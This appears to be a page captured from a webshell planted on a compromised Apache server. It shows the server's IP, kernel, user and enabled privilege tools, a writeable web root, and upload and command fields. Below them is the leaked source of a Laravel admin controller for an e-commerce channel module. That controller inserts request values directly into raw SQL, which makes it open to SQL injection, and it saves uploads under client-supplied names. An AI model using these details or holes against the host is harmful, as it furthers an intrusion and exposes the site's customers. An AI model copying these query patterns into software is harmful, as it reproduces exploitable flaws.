403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Modules/Canal/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Modules/Canal/Controllers/Admin/AdminCanalController.php
<?php

namespace App\Modules\Canal\Controllers\Admin;

use Illuminate\Http\Request;
use Mail;
use Exception;
use App\Http\Requests;
use App\Http\Controllers\BaseController;
use App\Modules\Oferta\Models\Oferta;
use App\Modules\Canal\Models\Canal;
use App\Modules\CanalAcessoAutenticado\Models\CanalAcessoAutenticado;
use App\Modules\MailchimpCampaign\Models\MailchimpCampaign;
use App\Modules\CanalHasOferta\Models\CanalHasOferta;
use App\Modules\ModeloFaturamento\Models\ModeloFaturamento;
use App\Modules\PedidoVenda\Models\PedidoVenda;
use App\Modules\AlertaFila\Models\AlertaFila;
use App\User;
use DB;

use App\Services\GeralService;
use App\Services\CanalService;

class AdminCanalController extends BaseController
{
	private $modulo;
	private $fields;
	private $fks;
	private $lastInsertId;

    public function __construct(){
		parent::__construct();
		$this->middleware('auth');
		$this->modulo = \App\Gerador::where('nome', 'Canal')->with('campos', 'fks')->first();
		$this->fields = $this->modulo->campos;
		$this->fks = $this->modulo->fks;
		$this->canal_m = new Canal();
	}

	public function index(){
		$query = $this->canal_m->select('canal.*');

		$data['fields_listagem'] = array();
		foreach ($this->fields as $field) {
			if($field->listagem){
				$data['fields_listagem'][] = $field;
			}
		}
		foreach ($this->fks as $fk) {
			if($fk->listagem){
				if($fk->campoRelacionado->translatable){
					$table = $fk->moduloRelacionado->nome_tabela.'_descricao';
					$on = $fk->moduloRelacionado->nome_tabela.'_descricao.'.$fk->moduloRelacionado->nome_tabela.'_id';
				}else{
					$table = $fk->moduloRelacionado->nome_tabela;
					$on = $fk->moduloRelacionado->nome_tabela.'.id';
				}
				$query->leftJoin($table, 'canal.'.$fk->nome, '=', $on);
				$query->addSelect($table.'.'.$fk->campoRelacionado->nome.' as fk'.$fk->id);
				$data['fields_listagem'][] = $fk;
			}
			
		}

		$data['canais'] = $query->groupBy('canal.id')->get();

		usort($data['fields_listagem'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});

		return view('Canal::admin/canal',$data);
	}

	public function add(){
		$data = array();
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}
		$data['nextId'] = $this->canal_m->getNextAutoIncrement();

		$data['modelos']      = ModeloFaturamento::all();
		$data['responsaveis'] = User::whereRaw("EXISTS (SELECT 1 FROM sis_role_users sru WHERE sru.user_id = sis_users.id AND sru.role_id = 1)")->orderBy('first_name', 'ASC')->get();
		$data['campanhas']	  = MailchimpCampaign::where('tipo', 'C')->orderBy('send_time')->get();

		return view('Canal::admin/form-canal', $data);
	}

	public function edit($slug){
		$id = Canal::where('slug', $slug)->value('id');
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}
		$data['canal'] = $this->canal_m->find($id);
		if($this->modulo->galeria){
			$data['canal']->imagens = $this->canal_m->getImagens($id);
		}

		$data['modelos']      = ModeloFaturamento::all();
		$data['responsaveis'] = User::whereRaw("EXISTS (SELECT 1 FROM sis_role_users sru WHERE sru.user_id = sis_users.id AND sru.role_id = 1)")->orderBy('first_name', 'ASC')->get();
		$data['campanhas']	  = MailchimpCampaign::where('tipo', 'C')->orderBy('send_time')->get();

		return view('Canal::admin/form-canal',$data);
	}

	public function save(Request $request){
		
		$post = $request->input();

		$post['meta_keywords'] = (isset($post['meta_keywords'])) ? implode(',',$post['meta_keywords']) : null;

		foreach ($this->fields as $field) {
			$arrayFields[] = $field->nome;
		}
		foreach ($this->fks as $fk) {
			$arrayFields[] = $fk->nome;
		}
		if($this->modulo->imagem){
			$arrayFields[] = 'thumbnail_principal';
		}

		$arrayFields[] = 'responsavel_id';
		$arrayFields[] = 'modelo_faturamento_id';
		$arrayFields[] = 'total_custo';
		$arrayFields[] = 'ativar_url';
		$arrayFields[] = 'senha_acesso';
		$arrayFields[] = 'url_video';
		$arrayFields[] = 'listar_ppr';
		$arrayFields[] = 'exibir_bloco_home';
		$arrayFields[] = 'exibir_menu_home';
		$arrayFields[] = 'exibir_unidades_restantes';
		$arrayFields[] = 'acesso_autenticado';
		$arrayFields[] = 'fast_pass';
		$arrayFields[] = 'permitir_cashback';
		$arrayFields[] = 'mailchimp_campaign_id';
		$arrayFields[] = 'permitir_oferta_confraria';

		if($request->input('id')){
			$id_canal = $this->canal_m->editar($arrayFields, $post, $request->input('id'));
		}else{
			$id_canal = $this->canal_m->criar($arrayFields, $post);
		}

		if(isset($post['mailchimp_campaign_id']) && !empty($post['mailchimp_campaign_id'])){
			CanalService::updateOfertaCampaign($id_canal, $post['mailchimp_campaign_id']);
		}
		
		$ofertas = [];
		if($request->input('oferta-checkbox')){
			foreach($request->input('oferta-checkbox') as $key => $id_oferta) {
				try {
					
					if(!isset($post['oferta-data-inicial'][$key])){
						continue;
					}

					$Oferta = Oferta::where('id', $id_oferta)->first();
					$CanalHasOferta = CanalHasOferta::where('id_canal', $id_canal)->where('id_oferta', $id_oferta)->whereRaw('deleted_at IS NULL')->first();
					if(!$CanalHasOferta){
						$CanalHasOferta                        = new CanalHasOferta();
						$CanalHasOferta->quantidade            = $Oferta->estoque;
						$CanalHasOferta->disponibilidade_canal = $Oferta->estoque;
						$CanalHasOferta->id_canal  = $id_canal;
						$CanalHasOferta->id_oferta = $id_oferta;
					}

					$CanalHasOferta->ordenacao    = (!empty($post['oferta-ordenacao'][$key]) ? $post['oferta-ordenacao'][$key] : 999);
					$CanalHasOferta->ordenacao_original = (!empty($post['oferta-ordenacao'][$key]) ? $post['oferta-ordenacao'][$key] : 999);
					$CanalHasOferta->data_inicial = $post['oferta-data-inicial'][$key];
					$CanalHasOferta->data_final   = $post['oferta-data-final'][$key];

					$CanalHasOferta->save();
					$ofertas[] = $id_oferta;

				} catch (Exception $e) {
					continue;
				}
			}

			CanalHasOferta::where('id_canal', $id_canal)->whereNotIn('id_oferta', $ofertas)->whereRaw('deleted_at IS NULL')->update(['deleted_at' => date('Y-m-d :H:i:s')]);

		}else{
			CanalHasOferta::where('id_canal', $id_canal)->whereRaw('deleted_at IS NULL')->update(['deleted_at' => date('Y-m-d :H:i:s')]);
		}

		//Ativa/Desativa Fast Pass Produtos x Ofertas do Canal
		CanalService::setFastPass($id_canal, $post['fast_pass']);

		if(isset($post['thumbnail_principal']) && !empty($post['thumbnail_principal'])){
			@unlink('uploads/canal/' . $post['thumbnail_principal']);
		}

		if(isset($post['thumbnail_secundaria']) && !empty($post['thumbnail_secundaria'])){
			@unlink('uploads/canal/' . $post['thumbnail_secundaria']);
		}

		\Session::flash('type', 'success');
		\Session::flash('message', "Alteracoes salvas com sucesso!");
		return redirect()->back();

	}

	public function editAjax($slug){
		$id = Canal::where('slug', $slug)->value('id');
		$data['modulo'] = $this->modulo;
		$data['fields'] = [];
		foreach ($this->fields as $field) {
			$data['fields'][] = $field;
		}
		foreach ($this->fks as $fk) {
			$data['fields'][] = $fk;
		}
		usort($data['fields'], function($a, $b) {
		    return $a->ordem - $b->ordem;
		});
		foreach ($this->fks as $fk) {
			$classPath = '\App\Modules\\'.$fk->moduloRelacionado->nome.'\Models\\'.$fk->moduloRelacionado->nome;
			$data['array_'.$fk->nome] = $classPath::get();
		}
		$data['canal'] = $this->canal_m->find($id);
		if($this->modulo->galeria){
			$data['canal']->imagens = $this->canal_m->getImagens($id);
		}

		$data['modelos']      = ModeloFaturamento::all();
		$data['responsaveis'] = User::whereRaw("EXISTS (SELECT 1 FROM sis_role_users sru WHERE sru.user_id = sis_users.id AND sru.role_id = 1)")->orderBy('first_name', 'ASC')->get();
		$data['campanhas']	  = MailchimpCampaign::where('tipo', 'C')->orderBy('send_time')->get();

		return view('Canal::admin/form-canal-ajax',$data);
	}

	public function saveAjax(Request $request){
		
		$post = $request->input();

		$post['meta_keywords'] = (isset($post['meta_keywords'])) ? implode(',',$post['meta_keywords']) : null;

		foreach ($this->fields as $field) {
			$arrayFields[] = $field->nome;
		}
		foreach ($this->fks as $fk) {
			$arrayFields[] = $fk->nome;
		}
		if($this->modulo->imagem){
			$arrayFields[] = 'thumbnail_principal';
		}

		$arrayFields[] = 'responsavel_id';
		$arrayFields[] = 'modelo_faturamento_id';
		$arrayFields[] = 'total_custo';
		$arrayFields[] = 'ativar_url';
		$arrayFields[] = 'senha_acesso';
		$arrayFields[] = 'url_video';
		$arrayFields[] = 'listar_ppr';
		$arrayFields[] = 'exibir_bloco_home';
        $arrayFields[] = 'exibir_menu_home';
		$arrayFields[] = 'exibir_unidades_restantes';
		$arrayFields[] = 'acesso_autenticado';
		$arrayFields[] = 'fast_pass';
		$arrayFields[] = 'permitir_cashback';
		$arrayFields[] = 'mailchimp_campaign_id';
		$arrayFields[] = 'permitir_oferta_confraria';

		if($request->input('id')){
			$id_canal = $this->canal_m->editar($arrayFields, $post, $request->input('id'));
		}else{
			$id_canal = $this->canal_m->criar($arrayFields, $post);
		}

		if(isset($post['mailchimp_campaign_id']) && !empty($post['mailchimp_campaign_id'])){
			CanalService::updateOfertaCampaign($id_canal, $post['mailchimp_campaign_id']);
		}

        if($request->hasFile('image_canal')) {
            $file  = $request->file('image_canal');
            $canal = GeralService::uploadFile($file, 'canal', ['delete' => false]);

            Canal::where('id', $id_canal)
                ->update([
                    'thumbnail_principal' => $canal->filename
                ]);

            @unlink('uploads/canal/' . $canal->filename);
        }

		//Ativa/Desativa Fast Pass Produtos x Ofertas do Canal
		CanalService::setFastPass($id_canal, $post['fast_pass']);

		\Session::flash('type', 'success');
		\Session::flash('message', "Alteracoes salvas com sucesso!");
		
		return redirect('admin/canal');

	}

	public function acessoAutenticado(Request $request){

		$data = [];
		$data['listaCanaisFastPass'] = Canal::where('fast_pass', 1)->orderBy('nome', 'ASC')->get();
		$data['listaCanaisAcessoAutenticado'] = Canal::where('acesso_autenticado', 1)->orderBy('nome', 'ASC')->get();

		return view('Canal::admin/acesso-autenticado', $data);
	}

	public function buscarOfertas(Request $request){

		$post  = $request->input();

		$query = Oferta::select('oferta.*', DB::raw("CONCAT(oferta.titulo, ' ', oferta.sub_titulo) as nome_oferta"));

		if($request->input('tipo')){
			$query->where('oferta.tipo', $request->input('tipo'));
		}else{
			$query->whereNotIn('oferta.tipo', ['M']);
		}

		if($request->input('id_canal')){
			$id_canal = $request->input('id_canal');
			$query->whereRaw("NOT EXISTS (SELECT 1 FROM canal_has_oferta cho WHERE cho.id_oferta = oferta.id AND cho.id_canal = {$id_canal})");
		}

		$query->having('nome_oferta', 'like', '%'.$post['term']['term'].'%');

		$listaOfertas = $query->get();

		$lista = [];
		foreach ($listaOfertas as $objOferta) {
			$objOferta->disponibilidade = ((isset($objOferta->produtos) && count($objOferta->produtos) == 1) ? $objOferta->produtos[0]->produto->disponibilidade : 0);
			$lista[] = $objOferta;
		}

		return response()->json(array('items' => $lista));
	}

	public function buscarProdutos($canal_id){

		$query = Oferta::select(
            'produto.id', 'produto.nome', 'produto.sku'
        )
        ->join('oferta_has_produto','oferta_has_produto.id_oferta','=','oferta.id')
        ->join('produto','produto.id','=','oferta_has_produto.id_produto')
        ->join('produto_caracteristica','produto.id','=','produto_caracteristica.id_produto')
        ->join('tipo_de_produto','tipo_de_produto.id','=','produto.id_tipo_produto')
        ->join('canal_has_oferta','canal_has_oferta.id_oferta','=','oferta.id')
        ->join('canal','canal_has_oferta.id_canal','=','canal.id')
        ->whereRaw('canal_has_oferta.deleted_at IS NULL')
        ->where('canal.id', $canal_id)
        ->groupBy('produto.id')
        ->orderBy('produto.nome', 'asc');

        $produtos = $query->get();

        $json = ['status' => true, 'produtos' => $produtos];

		return response()->json($json);

	}

	public function listarClientesFastPass(Request $request){

		$data = $request->input();

		$canal_id_acesso_autenticado = $request->input('canal_id_acesso_autenticado') ? $request->input('canal_id_acesso_autenticado') : 0;
		$canal_id_fast_pass          = $request->input('canal_id_fast_pass') ? $request->input('canal_id_fast_pass') : 0;
		$produto_id_fast_pass        = $request->input('produto_id_fast_pass', 0);

		$query = PedidoVenda::select(DB::raw("
			pedido_venda.id AS 'pedido_venda_id', 
			pedido_venda.data_fechamento,
			pedido_venda.id_cliente,
			cadastro.nome cliente_nome,
			cadastro.sobrenome cliente_sobrenome,
			pvs.nome AS status_nome,
			produto.id AS 'produto_id',
			produto.nome AS 'produto_nome',
			produto.sku AS 'produto_sku',
			(SELECT habilitado FROM canal_acesso_autenticado caa WHERE caa.cadastro_id = pedido_venda.id_cliente AND caa.canal_id_fast_pass = {$canal_id_fast_pass} AND caa.canal_id_acesso_autenticado = {$canal_id_acesso_autenticado}) AS 'habilitado'
		"))
        ->join('cadastro', 'cadastro.id', '=', 'pedido_venda.id_cliente')
        ->join('pedido_venda_status AS pvs', 'pvs.id', '=', 'pedido_venda.id_status_pedido_venda')
        ->join('pedido_venda_has_produto AS pvhp', 'pvhp.id_pedido_venda', '=', 'pedido_venda.id')
        ->join('produto', 'produto.id', '=', 'pvhp.id_produto')
        ->join('oferta_has_produto AS ohp', 'ohp.id_produto', '=', 'produto.id')
        ->join('canal_has_oferta AS cho', 'cho.id_oferta', '=', 'ohp.id_oferta')
        ->whereNotIn('pedido_venda.id_status_pedido_venda', [1,5])
        ->where('cho.id_canal', $canal_id_fast_pass);

        if(!empty($produto_id_fast_pass) && $produto_id_fast_pass != 0){
        	$query->where('pvhp.id_produto', $produto_id_fast_pass);
        }

        if ($request->input('cliente_nome')){
        	$query->where(DB::raw('CONCAT(cadastro.nome, " ", cadastro.sobrenome)'), 'like', '%'.$request->input('cliente_nome').'%');
        }

        if($request->input('habilitado') && $request->input('habilitado') == 1){
        	$query->join('canal_acesso_autenticado AS cauth', 'cauth.cadastro_id', '=', 'cadastro.id');
        	$query->where('cauth.habilitado', $request->input('habilitado'));
        }

        $query->groupBy('pedido_venda.id');

        $data['clientes'] = $query->orderBy('cadastro.nome', 'ASC')->get();

		$html = view('Canal::admin/clientes-lista-fast-pass', $data)->render();

		$json = [
			'status' => true,
			'html'   => $html
		];

        return response()->json($json);

	}

	public function gerarAcessoAutenticado(Request $request){

		$clientes = $request->input('clientes');
		$errors   = [];

		$clientesIDs = [];
		foreach ($clientes as $cliente) {
			$clientesIDs[] = $cliente['cliente_id'];
		}

		$canal_id_acesso_autenticado = $request->input('canal_id_acesso_autenticado', 0);
		$canal_id_fast_pass          = $request->input('canal_id_fast_pass', 0);

		$ClientesAutenticados = CanalAcessoAutenticado::where('canal_id_fast_pass', $canal_id_fast_pass)->where('canal_id_acesso_autenticado', $canal_id_acesso_autenticado)->whereIn('cadastro_id', $clientesIDs)->get();
		$listaClientesAutenticados = [];
		foreach ($ClientesAutenticados as $clienteAunteticado) {
			$listaClientesAutenticados[$clienteAunteticado->cadastro_id] = $clienteAunteticado;
		}

		foreach ($clientes as $cliente) {

			try {

				$cadastro_id     = $cliente['cliente_id'];
				$produto_id      = $cliente['produto_id'];
				$pedido_venda_id = $cliente['pedido_venda_id'];
				$habilitado      = $cliente['habilitado'];
				$created_at      = date('Y-m-d H:i:s');

				if(!isset($listaClientesAutenticados[$cadastro_id])){

					$sql = "INSERT INTO canal_acesso_autenticado (canal_id_fast_pass, canal_id_acesso_autenticado, cadastro_id, pedido_venda_id, produto_id, habilitado, created_at, updated_at) VALUES ";
					$sql .= " ({$canal_id_fast_pass}, {$canal_id_acesso_autenticado}, {$cadastro_id}, {$pedido_venda_id}, {$produto_id}, {$habilitado}, '{$created_at}', '{$created_at}')";
					DB::insert($sql);

					$clienteAunteticado = CanalAcessoAutenticado::where('canal_id_fast_pass', $canal_id_fast_pass)->where('canal_id_acesso_autenticado', $canal_id_acesso_autenticado)->where('cadastro_id', $cadastro_id)->first();

					if($clienteAunteticado){

						$listaClientesAutenticados[$clienteAunteticado->cadastro_id] = $clienteAunteticado;

						if($habilitado){
							//cria array da fila para enviar email de notificação
				            $parametrosAlerta = array();
				            $parametrosAlerta['alertaFila'] = ['cadastro' => [], 'tipo' => 'canal-acesso-autenticado', 'tipo_id' => $clienteAunteticado->id, 'timeout' => 1];
				            $parametrosAlerta['alertaFila']['cadastro'][$cadastro_id] = $cadastro_id;
				            $retornoAlerta = AlertaFila::criarAlertaFila($parametrosAlerta);
						}

					}

				}else{
					
					$clienteAunteticado = $listaClientesAutenticados[$cadastro_id];
					$sql = "UPDATE canal_acesso_autenticado SET habilitado = {$habilitado}, updated_at = '{$created_at}' WHERE id = {$clienteAunteticado->id}";
					DB::update($sql);

					if(!$clienteAunteticado->habilitado && $habilitado){
						//cria array da fila para enviar email de notificação
			            $parametrosAlerta = array();
			            $parametrosAlerta['alertaFila'] = ['cadastro' => [], 'tipo' => 'canal-acesso-autenticado', 'tipo_id' => $clienteAunteticado->id, 'timeout' => 1];
			            $parametrosAlerta['alertaFila']['cadastro'][$cadastro_id] = $cadastro_id;
			            $retornoAlerta = AlertaFila::criarAlertaFila($parametrosAlerta);
					}
				}

			} catch (Exception $e) {
				$errors[] = "Erro Cliente: {$cliente['cliente_id']} " . $e->getMessage();
				Log::info('Erro ao Gerar Cliente: ' . $e->getMessage());
			}

		}

		$json = ['status' => true, 'message' => "Cliente(s) gravado(s) com sucesso!", 'errors' => $errors];
        return response()->json($json);
	}

	public function upload_image(Request $request) {
		if($request->hasFile('file')) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file        = $request->file('file');
			$tmpFilePath = '/uploads/canal/';
			$tmpFileName = time() . '-' . $file->getClientOriginalName();
			$file        = $file->move(public_path() . $tmpFilePath, $tmpFileName);
			$path        = $tmpFilePath . $tmpFileName;

			return response()->json(array('path'=> $path, 'file_name'=> $tmpFileName), 200);

		} else {
			return response()->json(false, 200);
		}
	}

	public function upload_galeria($id, Request $request) {
		if($request->hasFile('file')) {
			//upload an image to the /img/tmp directory and return the filepath.
			$file  = $request->file('file');
			$canal = GeralService::uploadFile($file, 'canal', ['delete' => false]);

			$this->canal_m->criar_imagem(array('id_canal' => $id, 'thumbnail_principal' => $canal->filename));
			return response()->json(array('path'=> '/uploads/canal/' . $canal->filename, 'file_name'=> $canal->filename), 200);
		} else {
			return response()->json(false, 200);
		}
	}

	public function crop_image(Request $request) {
		$img = \Image::make('uploads/canal/'.$request->input('file_name'));
		$dataCrop = json_decode($request->input('data_crop'));
		if($img->crop(intval($dataCrop->width), intval($dataCrop->height), intval($dataCrop->x), intval($dataCrop->y))->save('uploads/canal/thumb_'.$request->input('file_name'))){
			
			GeralService::deleteFileImages($request->input('file_name'), 'canal');
			$canal = GeralService::uploadFile(FALSE, 'canal', ['filename' => 'thumb_'.$request->input('file_name'), 'delete' => false]);

			echo json_encode(array(
				'status'    => true,
				'path'      => '/uploads/canal/thumb_'.$request->input('file_name'),
				'file_name' => 'thumb_'.$request->input('file_name'),
			));
		}else{
			echo json_encode(array(
				'status' => false,
				'message' => 'Não foi possível alterar a imagem.'
			));
		}

	}

	public function delete($slug){
		$id = Canal::where('slug', $slug)->value('id');
		$this->canal_m->deletar($id);

		\Session::flash('type', 'success');
      \Session::flash('message', "Registro removido com sucesso!");
		return redirect('admin/canal');
	}

	public function delete_imagem($id){
		try{
			$imagem = $this->canal_m->getImagem($id);
			$this->canal_m->deletar_imagem($id);

			GeralService::deleteFileImages($imagem->thumbnail_principal, 'canal');

			return response()->json(array('status' => true, 'message' => 'Registro removido com sucesso!'));
		}catch(Exception $e){
			return response()->json(array('status' => false, 'message' => $e->getMessage()));
		}


	}

	private function slugify($string)
    {
        return strtolower(trim(preg_replace('~[^0-9a-z]+~i', '-', html_entity_decode(preg_replace('~&([a-z]{1,2})(?:acute|cedil|circ|grave|lig|orn|ring|slash|th|tilde|uml);~i', '$1', htmlentities($string, ENT_QUOTES, 'UTF-8')), ENT_QUOTES, 'UTF-8')), '-'));
    }

    public function getOfertas($id_canal, Request $request){

    	$post = $request->input();

		$filtros             = [];
		$filtros['id_canal'] = $id_canal;
		$filtros             = array_merge($filtros, $post);
		$listaOfertas        = GeralService::buscarCanalHasOferta($filtros);

		return view('Canal::admin/lista-ofertas',['listaOfertas' => $listaOfertas, 'filtro' => $filtros]);
    }


}

Youez - 2016 - github.com/yon3zu
LinuXploit